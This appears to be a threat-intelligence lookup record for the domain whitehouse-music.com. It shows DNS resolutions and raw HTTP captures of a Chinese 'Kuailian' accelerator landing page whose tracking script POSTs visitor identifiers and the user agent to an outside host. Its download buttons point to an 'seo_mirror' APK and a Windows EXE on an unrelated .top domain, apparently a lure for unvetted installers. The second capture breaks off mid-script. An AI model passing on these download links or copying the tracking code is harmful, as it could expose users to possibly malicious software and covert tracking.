Help
RSS
API
Feed
Maltego
Contact
Domain > whitehouse-music.com
×
More information on this domain is in
AlienVault OTX
Is this malicious?
Yes
No
DNS Resolutions
Date
IP Address
2025-08-29
139.59.125.111
(
ClassC
)
2025-11-28
139.59.113.128
(
ClassC
)
Port 80
HTTP/1.1 200 OKServer: openrestyDate: Fri, 28 Nov 2025 12:20:15 GMTContent-Type: text/html; charsetutf-8Transfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingX-Debug-Lua: runningSet-Cookie: clickIdk01l661k5jjk; Path/; Max-Age2592000; ExpiresSun, 28-Dec-25 12:20:15 GMT; SameSiteLaxX-AB-Test-Action: landingX-AB-Test-Landing-Path: kuailian-htmlX-AB-Test-Variant: domain:whitehouse-music.com:kuailian-htmlX-Tracking-Params: utm_campaignfapnetKuailianSeptember23&utm_mediumdirect&mt1764332415&trafficSourcedirect&clickIdk01l661k5jjk&siteUrl%2F&platformUnknown&uidk01l661k5jjk&sourceSEO_CN&ip52.40.234.105&utm_sourcewhitehouse-music.comX-Asset-Root: /var/www/html-lands/kuailian-htmlX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniff !DOCTYPE html>html langch>head> meta charsetUTF-8> meta nameviewport contentwidthdevice-width, initial-scale1.0> link relicon href./kl.png typeimage/png> title>快连加速器 官方网站/title> script src./metric.js?v1>/script> script src./script.js?v1>/script> script> use strict; function _regeneratorRuntime() { use strict; /*! regenerator-runtime -- Copyright (c) 2014-present, Facebook, Inc. -- license (MIT): https://github.com/facebook/regenerator/blob/main/LICENSE */ _regeneratorRuntime function _regeneratorRuntime() { return exports; }; var exports {}, Op Object.prototype, hasOwn Op.hasOwnProperty, defineProperty Object.defineProperty || function (obj, key, desc) { objkey desc.value; }, $Symbol function typeof Symbol ? Symbol : {}, iteratorSymbol $Symbol.iterator || @@iterator, asyncIteratorSymbol $Symbol.asyncIterator || @@asyncIterator, toStringTagSymbol $Symbol.toStringTag || @@toStringTag; function define(obj, key, value) { return Object.defineProperty(obj, key, { value: value, enumerable: !0, configurable: !0, writable: !0 }), objkey; } try { define({}, ); } catch (err) { define function define(obj, key, value) { return objkey value; }; } function wrap(innerFn, outerFn, self, tryLocsList) { var protoGenerator outerFn && outerFn.prototype instanceof Generator ? outerFn : Generator, generator Object.create(protoGenerator.prototype), context new Context(tryLocsList || ); return defineProperty(generator, _invoke, { value: makeInvokeMethod(innerFn, self, context) }), generator; } function tryCatch(fn, obj, arg) { try { return { type: normal, arg: fn.call(obj, arg) }; } catch (err) { return { type: throw, arg: err }; } } exports.wrap wrap; var ContinueSentinel {}; function Generator() {} function GeneratorFunction() {} function GeneratorFunctionPrototype() {} var IteratorPrototype {}; define(IteratorPrototype, iteratorSymbol, function () { return this; }); var getProto Object.getPrototypeOf, NativeIteratorPrototype getProto && getProto(getProto(values())); NativeIteratorPrototype && NativeIteratorPrototype ! Op && hasOwn.call(NativeIteratorPrototype, iteratorSymbol) && (IteratorPrototype NativeIteratorPrototype); var Gp GeneratorFunctionPrototype.prototype Generator.prototype Object.create(IteratorPrototype); function defineIteratorMethods(prototype) { next, throw, return.forEach(function (method) { define(prototype, method, function (arg) { return this._invoke(method, arg); }); }); } function AsyncIterator(generator, PromiseImpl) { function invoke(method, arg, resolve, reject) { var record tryCatch(generatormethod, generator, arg); if (throw ! record.type) { var result record.arg, value result.value; return value && object _typeof(value) && hasOwn.call(value, __await) ? PromiseImpl.resolve(value.__await).then(function (value) { invoke(next, value, resolve, reject); }, function (err) { invoke(throw, err, resolve, reject); }) : PromiseImpl.resolve(value).then(function (unwrapped) { result.value unwrapped, resolve(result); }, function (error) { return invoke(throw, error, resolve, reject); }); } reject(record.arg); } var previousPromise; defineProperty(this, _invoke, { value: function value(method, arg) { function callInvokeWithMethodAndArg() { return new PromiseImpl(function (resolve, reject) { invoke(method, arg, resolve, reject); }); } return previousPromise previousPromise ? previousPromise.then(callInvokeWithMethodAndArg, callInvokeWithMethodAndArg) : callInvokeWithMethodAndArg(); } }); } function makeInvokeMethod(innerFn, self, context) { var state suspendedStart; return function (method, arg) { if (executing state) throw new Error(Generator is already running); if (completed state) { if (throw method) throw arg; return doneResult(); } for (context.method method, context.arg arg;;) { var delegate context.delegate; if (delegate) { var delegateResult maybeInvokeDelegate(delegate, context); if (delegateResult) { if (delegateResult ContinueSentinel) continue; return delegateResult; } } if (next context.method) context.sent context._sent context.arg;else if (throw context.method) { if (suspendedStart state) throw state completed, context.arg; context.dispatchException(context.arg); } else return context.method && context.abrupt(return, context.arg); state executing; var record tryCatch(innerFn, self, context); if (normal record.type) { if (state context.done ? completed : suspendedYield, record.arg ContinueSentinel) continue; return { value: record.arg, done: context.done }; } throw record.type && (state completed, context.method throw, context.arg record.arg); } }; } function maybeInvokeDelegate(delegate, context) { var methodName context.method, method delegate.iteratormethodName; if (undefined method) return context.delegate null, throw methodName && delegate.iteratorreturn && (context.method return, context.arg undefined, maybeInvokeDelegate(delegate, context), throw context.method) || return ! methodName && (context.method throw, context.arg new TypeError(The iterator does not provide a + methodName + method)), ContinueSentinel; var record tryCatch(method, delegate.iterator, context.arg); if (throw record.type) return context.method throw, context.arg record.arg, context.delegate null, ContinueSentinel; var info record.arg; return info ? info.done ? (contextdelegate.resultName info.value, context.next delegate.nextLoc, return ! context.method && (context.method next, context.arg undefined), context.delegate null, ContinueSentinel) : info : (context.method throw, context.arg new TypeError(iterator result is not an object), context.delegate null, ContinueSentinel); } function pushTryEntry(locs) { var entry { tryLoc: locs0 }; 1 in locs && (entry.catchLoc locs1), 2 in locs && (entry.finallyLoc locs2, entry.afterLoc locs3), this.tryEntries.push(entry); } function resetTryEntry(entry) { var record entry.completion || {}; record.type normal, delete record.arg, entry.completion record; } function Context(tryLocsList) { this.tryEntries { tryLoc: root }, tryLocsList.forEach(pushTryEntry, this), this.reset(!0); } function values(iterable) { if (iterable) { var iteratorMethod iterableiteratorSymbol; if (iteratorMethod) return iteratorMethod.call(iterable); if (function typeof iterable.next) return iterable; if (!isNaN(iterable.length)) { var i -1, next function next() { for (; ++i iterable.length;) if (hasOwn.call(iterable, i)) return next.value iterablei, next.done !1, next; return next.value undefined, next.done !0, next; }; return next.next next; } } return { next: doneResult }; } function doneResult() { return { value: undefined, done: !0 }; } return GeneratorFunction.prototype GeneratorFunctionPrototype, defineProperty(Gp, constructor, { value: GeneratorFunctionPrototype, configurable: !0 }), defineProperty(GeneratorFunctionPrototype, constructor, { value: GeneratorFunction, configurable: !0 }), GeneratorFunction.displayName define(GeneratorFunctionPrototype, toStringTagSymbol, GeneratorFunction), exports.isGeneratorFunction function (genFun) { var ctor function typeof genFun && genFun.constructor; return !!ctor && (ctor GeneratorFunction || GeneratorFunction (ctor.displayName || ctor.name)); }, exports.mark function (genFun) { return Object.setPrototypeOf ? Object.setPrototypeOf(genFun, GeneratorFunctionPrototype) : (genFun.__proto__ GeneratorFunctionPrototype, define(genFun, toStringTagSymbol, GeneratorFunction)), genFun.prototype Object.create(Gp), genFun; }, exports.awrap function (arg) { return { __await: arg }; }, defineIteratorMethods(AsyncIterator.prototype), define(AsyncIterator.prototype, asyncIteratorSymbol, function () { return this; }), exports.AsyncIterator AsyncIterator, exports.async function (innerFn, outerFn, self, tryLocsList, PromiseImpl) { void 0 PromiseImpl && (PromiseImpl Promise); var iter new AsyncIterator(wrap(innerFn, outerFn, self, tryLocsList), PromiseImpl); return exports.isGeneratorFunction(outerFn) ? iter : iter.next().then(function (result) { return result.done ? result.value : iter.next(); }); }, defineIteratorMethods(Gp), define(Gp, toStringTagSymbol, Generator), define(Gp, iteratorSymbol, function () { return this; }), define(Gp, toString, function () { return object Generator; }), exports.keys function (val) { var object Object(val), keys ; for (var key in object) keys.push(key); return keys.reverse(), function next() { for (; keys.length;) { var key keys.pop(); if (key in object) return next.value key, next.done !1, next; } return next.done !0, next; }; }, exports.values values, Context.prototype { constructor: Context, reset: function reset(skipTempReset) { if (this.prev 0, this.next 0, this.sent this._sent undefined, this.done !1, this.delegate null, this.method next, this.arg undefined, this.tryEntries.forEach(resetTryEntry), !skipTempReset) for (var name in this) t name.charAt(0) && hasOwn.call(this, name) && !isNaN(+name.slice(1)) && (thisname undefined); }, stop: function stop() { this.done !0; var rootRecord this.tryEntries0.completion; if (throw rootRecord.type) throw rootRecord.arg; return this.rval; }, dispatchException: function dispatchException(exception) { if (this.done) throw exception; var context this; function handle(loc, caught) { return record.type throw, record.arg exception, context.next loc, caught && (context.method next, context.arg undefined), !!caught; } for (var i this.tryEntries.length - 1; i > 0; --i) { var entry this.tryEntriesi, record entry.completion; if (root entry.tryLoc) return handle(end); if (entry.tryLoc this.prev) { var hasCatch hasOwn.call(entry, catchLoc), hasFinally hasOwn.call(entry, finallyLoc); if (hasCatch && hasFinally) { if (this.prev entry.catchLoc) return handle(entry.catchLoc, !0); if (this.prev entry.finallyLoc) return handle(entry.finallyLoc); } else if (hasCatch) { if (this.prev entry.catchLoc) return handle(entry.catchLoc, !0); } else { if (!hasFinally) throw new Error(try statement without catch or finally); if (this.prev entry.finallyLoc) return handle(entry.finallyLoc); } } } }, abrupt: function abrupt(type, arg) { for (var i this.tryEntries.length - 1; i > 0; --i) { var entry this.tryEntriesi; if (entry.tryLoc this.prev && hasOwn.call(entry, finallyLoc) && this.prev entry.finallyLoc) { var finallyEntry entry; break; } } finallyEntry && (break type || continue type) && finallyEntry.tryLoc arg && arg finallyEntry.finallyLoc && (finallyEntry null); var record finallyEntry ? finallyEntry.completion : {}; return record.type type, record.arg arg, finallyEntry ? (this.method next, this.next finallyEntry.finallyLoc, ContinueSentinel) : this.complete(record); }, complete: function complete(record, afterLoc) { if (throw record.type) throw record.arg; return break record.type || continue record.type ? this.next record.arg : return record.type ? (this.rval this.arg record.arg, this.method return, this.next end) : normal record.type && afterLoc && (this.next afterLoc), ContinueSentinel; }, finish: function finish(finallyLoc) { for (var i this.tryEntries.length - 1; i > 0; --i) { var entry this.tryEntriesi; if (entry.finallyLoc finallyLoc) return this.complete(entry.completion, entry.afterLoc), resetTryEntry(entry), ContinueSentinel; } }, catch: function _catch(tryLoc) { for (var i this.tryEntries.length - 1; i > 0; --i) { var entry this.tryEntriesi; if (entry.tryLoc tryLoc) { var record entry.completion; if (throw record.type) { var thrown record.arg; resetTryEntry(entry); } return thrown; } } throw new Error(illegal catch attempt); }, delegateYield: function delegateYield(iterable, resultName, nextLoc) { return this.delegate { iterator: values(iterable), resultName: resultName, nextLoc: nextLoc }, next this.method && (this.arg undefined), ContinueSentinel; } }, exports; } function _typeof(obj) { @babel/helpers - typeof; return _typeof function typeof Symbol && symbol typeof Symbol.iterator ? function (obj) { return typeof obj; } : function (obj) { return obj && function typeof Symbol && obj.constructor Symbol && obj ! Symbol.prototype ? symbol : typeof obj; }, _typeof(obj); } function asyncGeneratorStep(gen, resolve, reject, _next, _throw, key, arg) { try { var info genkey(arg); var value info.value; } catch (error) { reject(error); return; } if (info.done) { resolve(value); } else { Promise.resolve(value).then(_next, _throw); } } function _asyncToGenerator(fn) { return function () { var self this, args arguments; return new Promise(function (resolve, reject) { var gen fn.apply(self, args); function _next(value) { asyncGeneratorStep(gen, resolve, reject, _next, _throw, next, value); } function _throw(err) { asyncGeneratorStep(gen, resolve, reject, _next, _throw, throw, err); } _next(undefined); }); }; } function ownKeys(object, enumerableOnly) { var keys Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols Object.getOwnPropertySymbols(object); enumerableOnly && (symbols symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; })), keys.push.apply(keys, symbols); } return keys; } function _objectSpread(target) { for (var i 1; i arguments.length; i++) { var source null ! argumentsi ? argumentsi : {}; i % 2 ? ownKeys(Object(source), !0).forEach(function (key) { _defineProperty(target, key, sourcekey); }) : Object.getOwnPropertyDescriptors ? Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)) : ownKeys(Object(source)).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } return target; } function _defineProperty(obj, key, value) { key _toPropertyKey(key); if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { objkey value; } return obj; } function _toPropertyKey(arg) { var key _toPrimitive(arg, string); return _typeof(key) symbol ? key : String(key); } function _toPrimitive(input, hint) { if (_typeof(input) ! object || input null) return input; var prim inputSymbol.toPrimitive; if (prim ! undefined) { var res prim.call(input, hint || default); if (_typeof(res) ! object) return res; throw new TypeError(@@toPrimitive must return a primitive value.); } return (hint string ? String : Number)(input); } function generateRandomId(length) { var characters ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789; var result ; for (var i 0; i length; i++) { result + characters.charAt(Math.floor(Math.random() * characters.length)); } return result; } function normalizeQueryParams(params) { var normalizedParams {}; for (var key in params) { var lowerKey key.toLowerCase(); if (lowerKey zoneid || lowerKey zone_id) { normalizedParamszone_id paramskey; } else if (click_id, clickid, gclid.includes(lowerKey)) { normalizedParamsclickId paramskey; } else { normalizedParamskey paramskey; } } return normalizedParams; } function getQueryParams() { var url new URL(window.location.href); var queryParams Object.fromEntries(url.searchParams.entries()); var normalizedQueryParams normalizeQueryParams(queryParams); var storedClickId localStorage.getItem(clickIdDis); if (!normalizedQueryParams.clickId) { if (storedClickId) { normalizedQueryParams.clickId storedClickId; } else { normalizedQueryParams.clickId generateRandomId(12); } url.searchParams.set(clickId, normalizedQueryParams.clickId); window.history.replaceState(null, , url.toString()); } if (storedClickId && normalizedQueryParams.clickId ! storedClickId) { normalizedQueryParams.clickId storedClickId; url.searchParams.set(clickId, storedClickId); window.history.replaceState(null, , url.toString()); } localStorage.setItem(clickIdDis, normalizedQueryParams.clickId); var pathSegments window.location.pathname.split(/).filter(Boolean); var routePatch pathSegments.length ? pathSegmentspathSegments.length - 1 : ; var host window.location.host; var ua encodeURIComponent(navigator.userAgent); return _objectSpread(_objectSpread({}, normalizedQueryParams), {}, { routePatch: routePatch, hostName: host, land: host, requestUri: routePatch, httpHost: host, ua: ua, subId: navigator.subId || }); } function sendDataToMetric(_x, _x2) { return _sendDataToMetric.apply(this, arguments); } function _sendDataToMetric() { _sendDataToMetric _asyncToGenerator( /*#__PURE__*/_regeneratorRuntime().mark(function _callee(params, registerPage) { var requestData; return _regeneratorRuntime().wrap(function _callee$(_context) { while (1) switch (_context.prev _context.next) { case 0: requestData new URLSearchParams(_objectSpread(_objectSpread({}, params), {}, { value: 1, metric: orderLandVisits, registerPage: registerPage })); _context.prev 1; _context.next 4; return fetch(https://tcdn.ahhtsw.com/601, { method: POST, headers: { Content-Type: application/x-www-form-urlencoded }, body: requestData.toString() }); case 4: _context.next 9; break; case 6: _context.prev 6; _context.t0 _contextcatch(1); console.error(Error during metric send:, _context.t0.message || _context.t0); case 9: case end: return _context.stop(); } }, _callee, null, 1, 6); })); return _sendDataToMetric.apply(this, arguments); } var queryParams getQueryParams(); var filteredParams {}; for (var key in queryParams) { if ( key ! ua && key ! platform && key ! subId && key ! hostName && key ! httpHost && queryParamskey ! && queryParamskey ! null && queryParamskey ! undefined ) { filteredParamskey queryParamskey; } } var queryParamsString new URLSearchParams(filteredParams).toString(); sendDataToMetric(queryParams, visit); window.addEventListener(DOMContentLoaded, function () { sendDataToMetric(queryParams, contentLoaded); var handleClicked document.getElementById(mainLinkAndroid); if (handleClicked) { handleClicked.addEventListener(click, function (e) { console.log(Android download link clicked); sendDataToMetric(queryParams, downloadAndroidKuaiLian); }); } }); /script> style> body {padding:0; margin: 0; font-size: 12px; font-family:Microsoft Yahei;} ul,ol,p{list-style:none; padding: 0; margin: 0;} .clear{clear:both;} .container{width: 90%; margin: 0 auto;} a{text-decoration:none;} .banner{width:100%; min-height: 100vh; background:url(./img/home_bg_tel.jpg) no-repeat; background-size: 100% 100%;} .banner .top{padding:30px; display: flex; justify-content: space-between;} .banner .top .logo{color:#FFF; font-size: 18px; display: flex; align-items: center;} .banner .top .logo img{width: 23px; margin-right: 10px;} .banner .top .menu{display: flex; align-items: center;} .banner .top .menu a{ padding:0 10px; color: #EEEEEE} .banner .t1{font-size:4.5rem; text-align: center; color: #FFF; font-weight: bold; padding-top: 4%;} .banner .txt{padding:4% 0; display: flex; justify-content: center; width: 100%;} .banner .txt .box-item{padding:0px 60px; color: #FFF; border-right: 2px solid; -webkit-border-image: -webkit-linear-gradient(top, hsla(0, 0%, 100%, 0), hsla(0, 0%, 100%, .3), hsla(0, 0%, 100%, 0)) 0 1;border-image: linear-gradient(180deg, hsla(0, 0%, 100%, 0), hsla(0, 0%, 100%, .3), hsla(0, 0%, 100%, 0)) 0 1;} .banner .txt .box-item:last-child{border-right:none;} .banner .txt .box-item .t1{ font-size: 28px; } .banner .txt .box-item .t1 strong{font-size:52px; font-weight: normal; font-weight: bold;} .banner .txt .box-item .t2{font-size: 24px;} .banner .btn-box{max-width: 1200px; margin: 4% auto 0; display: flex; justify-content: space-between;} .banner .btn-box .box-xz{width:48%; background:#FFF; border-radius: 50px; padding: 20px 0; text-align: center; cursor: pointer; color: #4853e3; font-size: 42px; font-weight: bold; display: flex; align-items: center; justify-content: center;} .banner .btn-box .box-xz img{width:46px; margin-right: 10px;} /* Spacing adjustments for large screens to keep buttons away from the bottom edge */ .banner { padding-bottom: 6vh; } @media (min-width: 1600px) { .banner { padding-bottom: 8vh; } } @media (min-width: 1920px) { .banner { padding-bottom: 10vh; } } .pd50{padding:50px 0;} .hot{ margin-top:30px;} .hot .hot-tit{ display: flex;} .hot .hot-tit .tit-item{border-radius:50px; background: linear-gradient(315deg, #eb4eb1, #9257f9 50%, #3150ed); padding: 8px 30px; font-size: 22px; color: #FFF; display: flex; align-items: center;} .hot .hot-tit .tit-item img{width: 30px; margin-right: 10px;} .hot .t1{ padding-top: 40px; font-size: 48px; color: #333;} .hot .t2{padding-top: 20px; color: #888; font-size: 22px;} .hot-pic{ text-align:center;} .hot-pic img{width:40%;} .copyright{padding:20px; text-align: center; font-size: 12px;} .copyright a{ color: #333;} .open { position: fixed; left: 0; top: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.5); z-index: 99999; display: none; } .bigwx { position: absolute; background: #fff; left: 0; right: 0; top: 0; bottom: 0; width:80%; max-width: 500px; height: 360px; margin: auto; text-align: center; overflow: hidden; -webkit-animation-name: animatetop; -webkit-animation-duration: 0.4s; animation-name: animatetop; animation-duration: 0.4s } .bigwx .close { position: absolute; top:10px; right: 10px; cursor: pointer; } .bigwx .title{background: #4853e3; padding:20px 0; text-align: center; position: relative;} .bigwx .bj_bd{width:90%; margin: 30px auto 0; display: flex; flex-flow: wrap;} .bigwx .bj_bd .bd_l{width:10%; text-align: center; display: flex; justify-content: center; align-items: center;} .bigwx .bj_bd .bd_l i{font-size:28px; color: #4853e3;} .bigwx .bj_bd .bd_r{width:100%;} .bigwx .bj_bd .bdtxt{padding:0 12px; line-height: 45px; border: none; color: #333; font-size: 13px; width: 90%; background: #f4f4f4; border-left: 4px solid #4853e3;} input:focus{outline:none} .bigwx .tijiao { background: #4853e3; width: 82%; padding: 10px 0; text-align: center; font-size: 22px; color: #FFF; border-radius: 10px; border: none; -webkit-box-shadow: 0 15px 30px rgba(0,0,0,.1); box-shadow: 0 15px 30px rgba(0,0,0,.1); -webkit-transform: translate3d(0,-2px,0); transform: translate3d(0,-2px,0); cursor: pointer; margin: 30px auto 0; } .btn { display: block; position: relative; top: 100px; margin: 20px; width: 200px; height: 50px; line-height: 50px; text-align: center; border-radius: 5px; font-size: 18px; color: salmon; background-color: skyblue } .btn-on { background-color: #4853e3; } @media (max-width:767px) { .container{ padding: 10px;} .banner .t1{font-size:2rem; padding-top: 12%;} .banner .txt .box-item .t1 strong{font-size:28px;} .banner .txt .box-item{padding:0 20px;} .banner .txt .box-item .t2{font-size:16px;} .banner .btn-box{width:100%; flex-wrap: wrap; justify-content: center;} .banner .btn-box .box-xz{width:80%; margin-bottom: 30px; font-size: 28px; padding: 15px 0;} .banner{min-height:auto!important; padding-bottom: 10%;} .hot .t1{font-size:28px;} .hot .t2{font-size:18px;} .hot-pic img{width:70%;} } /style>script>window.trackingParams {}; var trackingParamsStr utm_campaignfapnetKuailianSeptember23&utm_mediumdirect&mt1764332415&trafficSourcedirect&clickIdk01l661k5jjk&siteUrl%2F&platformUnknown&uidk01l661k5jjk&sourceSEO_CN&ip52.40.234.105&utm_sourcewhitehouse-music.com; var pairs trackingParamsStr.split(&); for (var i 0; i pairs.length; i++) { var pair pairsi.split(); if (pair0) window.trackingParamsdecodeURIComponent(pair0) decodeURIComponent(pair1 || ); }/script>/head>body> main> div classbanner> div classtop> div classlogo>img srcimg/logo_word_zh.7d8620d0.png alt>快连游戏加速器/div> /div> div classt1>能连上的游戏加速器/div> div classtxt> div classbox-item> div classt1>strong>3/strong>s/div> div classt2>极速连接/div> /div> div classbox-item> div classt1>strong>72/strong>h/div> div classt2>免费试用/div> /div> div classbox-item> div classt1>strong>1000/strong>+/div> div classt2>应用支持/div> /div> /div> div classbtn-box> a classbox-xz idmainLinkAndroid hrefhttps://adspand.rongshan0591.top/pub/kuailian_seo_mirror.apk>img srcimg/android.svg alt>Android 版下载/a> a classbox-xz idmainLinkWindows hrefhttps://adspwin.rongshan0591.top/windfast/kuailian.exe>img srcimg/windows.svg alt>PC 版下载/a> /div> /div> div classcontainer pd50> div classhot> div classhot-tit> div classtit-item>img srcimg/home_title_img.a9313b31.png alt>火爆买点/div> /div> div classt1>音频 视频 网页加速器/div> div classt2>快连 加速器。音频 视频 网页加速一体的/div> /div> div classhot> div classhot-tit> div classtit-item>img srcimg/home_title_img.a9313b31.png alt>火爆买点/div> /div> div classt1>随用随享,永不套牢/div> div classt2>一家敢提供短期会员的知名 加速器,安全稳定的同时致力于保障用户权益,随时想用,随时订购,不用担心跑路,不用担心被套牢。/div> /div> div classhot-pic>img srcimg/home_introduce_3.63497ff8.png alt>/div> div classhot> div classhot-tit> div classtit-item>img srcimg/home_title_img.a9313b31.png alt>火爆买点/div> /div> div classt1>游戏平台,无缝衔接/div> div classt2>快连 加速器 支持市面上所有主流的设备,只需一个账号即可在多个设备中共享会员,支持多设备同时在线,保障您不同使用场景下的无缝衔接。/div> /div> div classhot> div classhot-tit> div classtit-item>img srcimg/home_title_img.a9313b31.png alt>火爆买点/div> /div> div classt1>真人客服,24小时在线客服/div> div classt2>快连 加速器 提供 24 小时在线服务,100+ 真人客服与网络工程师随时待命,为您上网体验保驾护航,真真正正的提供随叫随到,24小时在线客服 VIP ��务。/div> /div> div classhot-pic>img srcimg/home_introduce_5.8e475357.png alt>/div> /div> div classcopyright> p >2018-2022 快连游戏加速器/p> p >应用名称: APP/游戏加速器 更新时间:2023-04-30 版本号:2.0.0/p> p >a hrefyhxy.html>用户协议/a> | a hrefysxy.html>隐私协议/a> | a hrefcpgn.html>产品功能/a>/p> p>黄冈惊鸿网络科技有限公司 鄂ICP备2025136124号/p> /div> /main>/body>/html>
Port 443
HTTP/1.1 200 OKServer: openrestyDate: Fri, 28 Nov 2025 12:20:16 GMTContent-Type: text/html; charsetutf-8Transfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingX-Debug-Lua: runningSet-Cookie: clickId14057zwg4auk; Path/; Max-Age2592000; ExpiresSun, 28-Dec-25 12:20:16 GMT; SameSiteLaxX-AB-Test-Action: landingX-AB-Test-Landing-Path: kuailian-htmlX-AB-Test-Variant: domain:whitehouse-music.com:kuailian-htmlX-Tracking-Params: utm_mediumdirect&mt1764332416&trafficSourcedirect&clickId14057zwg4auk&siteUrl%2F&uid14057zwg4auk&sourceSEO_CN&utm_sourcewhitehouse-music.com&platformUnknown&utm_campaignfapnetKuailianSeptember23&ip52.40.234.105X-Asset-Root: /var/www/html-lands/kuailian-htmlStrict-Transport-Security: max-age31536000; includeSubDomainsX-Frame-Options: DENYX-Content-Type-Options: nosniff !DOCTYPE html>html langch>head> meta charsetUTF-8> meta nameviewport contentwidthdevice-width, initial-scale1.0> link relicon href./kl.png typeimage/png> title>快连加速器 官方网站/title> script src./metric.js?v1>/script> script src./script.js?v1>/script> script> use strict; function _regeneratorRuntime() { use strict; /*! regenerator-runtime -- Copyright (c) 2014-present, Facebook, Inc. -- license (MIT): https://github.com/facebook/regenerator/blob/main/LICENSE */ _regeneratorRuntime function _regeneratorRuntime() { return exports; }; var exports {}, Op Object.prototype, hasOwn Op.hasOwnProperty, defineProperty Object.defineProperty || function (obj, key, desc) { objkey desc.value; }, $Symbol function typeof Symbol ? Symbol : {}, iteratorSymbol $Symbol.iterator || @@iterator, asyncIteratorSymbol $Symbol.asyncIterator || @@asyncIterator, toStringTagSymbol $Symbol.toStringTag || @@toStringTag; function define(obj, key, value) { return Object.defineProperty(obj, key, { value: value, enumerable: !0, configurable: !0, writable: !0 }), objkey; } try { define({}, ); } catch (err) { define function define(obj, key, value) { return objkey value; }; } function wrap(innerFn, outerFn, self, tryLocsList) { var protoGenerator outerFn && outerFn.prototype instanceof Generator ? outerFn : Generator, generator Object.create(protoGenerator.prototype), context new Context(tryLocsList || ); return defineProperty(generator, _invoke, { value: makeInvokeMethod(innerFn, self, context) }), generator; } function tryCatch(fn, obj, arg) { try { return { type: normal, arg: fn.call(obj, arg) }; } catch (err) { return { type: throw, arg: err }; } } exports.wrap wrap; var ContinueSentinel {}; function Generator() {} function GeneratorFunction() {} function GeneratorFunctionPrototype() {} var IteratorPrototype {}; define(IteratorPrototype, iteratorSymbol, function () { return this; }); var getProto Object.getPrototypeOf, NativeIteratorPrototype getProto && getProto(getProto(values())); NativeIteratorPrototype && NativeIteratorPrototype ! Op && hasOwn.call(NativeIteratorPrototype, iteratorSymbol) && (IteratorPrototype NativeIteratorPrototype); var Gp GeneratorFunctionPrototype.prototype Generator.prototype Object.create(IteratorPrototype); function defineIteratorMethods(prototype) { next, throw, return.forEach(function (method) { define(prototype, method, function (arg) { return this._invoke(method, arg); }); }); } function AsyncIterator(generator, PromiseImpl) { function invoke(method, arg, resolve, reject) { var record tryCatch(generatormethod, generator, arg); if (throw ! record.type) { var result record.arg, value result.value; return value && object _typeof(value) && hasOwn.call(value, __await) ? PromiseImpl.resolve(value.__await).then(function (value) { invoke(next, value, resolve, reject); }, function (err) { invoke(throw, err, resolve, reject); }) : PromiseImpl.resolve(value).then(function (unwrapped) { result.value unwrapped, resolve(result); }, function (error) { return invoke(throw, error, resolve, reject); }); } reject(record.arg); } var previousPromise; defineProperty(this, _invoke, { value: function value(method, arg) { function callInvokeWithMethodAndArg() { return new PromiseImpl(function (resolve, reject) { invoke(method, arg, resolve, reject); }); } return previousPromise previousPromise ? previousPromise.then(callInvokeWithMethodAndArg, callInvokeWithMethodAndArg) : callInvokeWithMethodAndArg(); } }); } function makeInvokeMethod(innerFn, self, context) { var state suspendedStart; return function (method, arg) { if (executing state) throw new Error(Generator is already running); if (completed state) { if (throw method) throw arg; return doneResult(); } for (context.method method, context.arg arg;;) { var delegate context.delegate; if (delegate) { var delegateResult maybeInvokeDelegate(delegate, context); if (delegateResult) { if (delegateResult ContinueSentinel) continue; return delegateResult; } } if (next context.method) context.sent context._sent context.arg;else if (throw context.method) { if (suspendedStart state) throw state completed, context.arg; context.dispatchException(context.arg); } else return context.method && context.abrupt(return, context.arg); state executing; var record tryCatch(innerFn, self, context); if (normal record.type) { if (state context.done ? completed : suspendedYield, record.arg ContinueSentinel) continue; return { value: record.arg, done: context.done }; } throw record.type && (state completed, context.method throw, context.arg record.arg); } }; } function maybeInvokeDelegate(delegate, context) { var methodName context.method, method delegate.iteratormethodName; if (undefined method) return context.delegate null, throw methodName && delegate.iteratorreturn && (context.method return, context.arg undefined, maybeInvokeDelegate(delegate, context), throw context.method) || return ! methodName && (context.method throw, context.arg new TypeError(The iterator does not provide a + methodName + method)), ContinueSentinel; var record tryCatch(method, delegate.iterator, context.arg); if (throw record.type) return context.method throw, context.arg record.arg, context.delegate null, ContinueSentinel; var info record.arg; return info ? info.done ? (contextdelegate.resultName info.value, context.next delegate.nextLoc, return ! context.method && (context.method next, context.arg undefined), context.delegate null, ContinueSentinel) : info : (context.method throw, context.arg new TypeError(iterator result is not an object), context.delegate null, ContinueSentinel); } function pushTryEntry(locs) { var entry { tryLoc: locs0 }; 1 in locs && (entry.catchLoc locs1), 2 in locs && (entry.finallyLoc locs2, entry.afterLoc locs3), this.tryEntries.push(entry); } function resetTryEntry(entry) { var record entry.completion || {}; record.type normal, delete record.arg, entry.completion record; } function Context(tryLocsList) { this.tryEntries { tryLoc: root }, tryLocsList.forEach(pushTryEntry, this), this.reset(!0); } function values(iterable) { if (iterable) { var iteratorMethod iterableiteratorSymbol; if (iteratorMethod) return iteratorMethod.call(iterable); if (function typeof iterable.next) return iterable; if (!isNaN(iterable.length)) { var i -1, next function next() { for (; ++i iterable.length;) if (hasOwn.call(iterable, i)) return next.value iterablei, next.done !1, next; return next.value undefined, next.done !0, next; }; return next.next next; } } return { next: doneResult }; } function doneResult() { return { value: undefined, done: !0 }; } return GeneratorFunction.prototype GeneratorFunctionPrototype, defineProperty(Gp, constructor, { value: GeneratorFunctionPrototype, configurable: !0 }), defineProperty(GeneratorFunctionPrototype, constructor, { value: GeneratorFunction, configurable: !0 }), GeneratorFunction.displayName define(GeneratorFunctionPrototype, toStringTagSymbol, GeneratorFunction), exports.isGeneratorFunction function (genFun) { var ctor function typeof genFun && genFun.constructor; return !!ctor && (ctor GeneratorFunction || GeneratorFunction (ctor.displayName || ctor.name)); }, exports.mark function (genFun) { return Object.setPrototypeOf ? Object.setPrototypeOf(genFun, GeneratorFunctionPrototype) : (genFun.__proto__ GeneratorFunctionPrototype, define(genFun, toStringTagSymbol, GeneratorFunction)), genFun.prototype Object.create(Gp), genFun; 